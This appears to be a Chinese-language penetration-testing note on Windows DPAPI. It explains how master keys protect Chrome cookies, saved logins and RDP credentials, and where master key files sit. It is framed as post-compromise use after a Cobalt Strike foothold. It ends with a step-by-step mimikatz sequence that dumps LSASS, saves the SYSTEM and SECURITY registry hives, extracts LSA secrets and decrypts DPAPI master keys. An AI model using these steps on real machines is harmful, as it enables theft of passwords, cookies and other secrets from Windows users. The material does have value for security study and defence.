Data Protection API 数据保护接口 在windows中大量的使用来加密数据,比如chrome的cookies和login data

    chrome浏览器自动登录密码,远程桌面自动登录密码,outlook邮箱的账号密码,加密文件系统的私钥

    从windows 2000开始,用户或操作系统可以直接调用dpapi来加密数据

    对于最终用户及其应用程序而言,dpapi看起来非常简单,只有两个功能-
    加密数据
    CryptProtectData


    解密数据
    CryptUnprotectData

    最明显的利用,是我们上线CS后执行抓取chrome内核浏览器的密码时候

    1. dpapi使用master key(主密钥)用于加密解密,主密钥并不会存在磁盘上,是通过用户的密码hash加密生成的
    2. 主密钥第一种方式是由用户的N T L M hash来加密的,存储在S A M文件中,只要攻击者获取到Hash就可以用来生成Master key来解密数据,防止这种事情发生,直接用用户的密码生成:SHA-1(UTF16LE(user_password)),这样就算攻击者获取到ntlm,如果解不出用户密码,依然不能生成master key

    image.png
    dpapi blob :一段密文可以使用主密钥对其进行解密
    master key :64字节,用于解密Dpai blob

    通过用户登录密码,sid,16字节随机数加密后保存在master key file中

    master key file:
    二进制文件,可以使用用户登录密码对其解密,获得master key

    用户Master key file:%APPDATA%\Microsoft\Protect\%SID% 系统Master key file:%WINDIR%\System32\Microsft\Protect\S-1-5-18\User

    Preferred文件
    位于和Master Key file同级目录,显示当前系统正在使用的Masterkey及其过期时间,默认90天有效期

    1. prbilege::debug
    2. sekurlsa::dpapi
    3. sekurlsa::minidump lsass.dmp
    4. sekurlsa::dpapi
    5. reg save HKLM\SYSTEM SystemBkup.hiv
    6. reg save HKLM\SECURITY SECURITY.hiv
    7. mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
    8. mimikatz "dpapi::masterkey /in:文件位置 /system:dpapi_system中的user hash"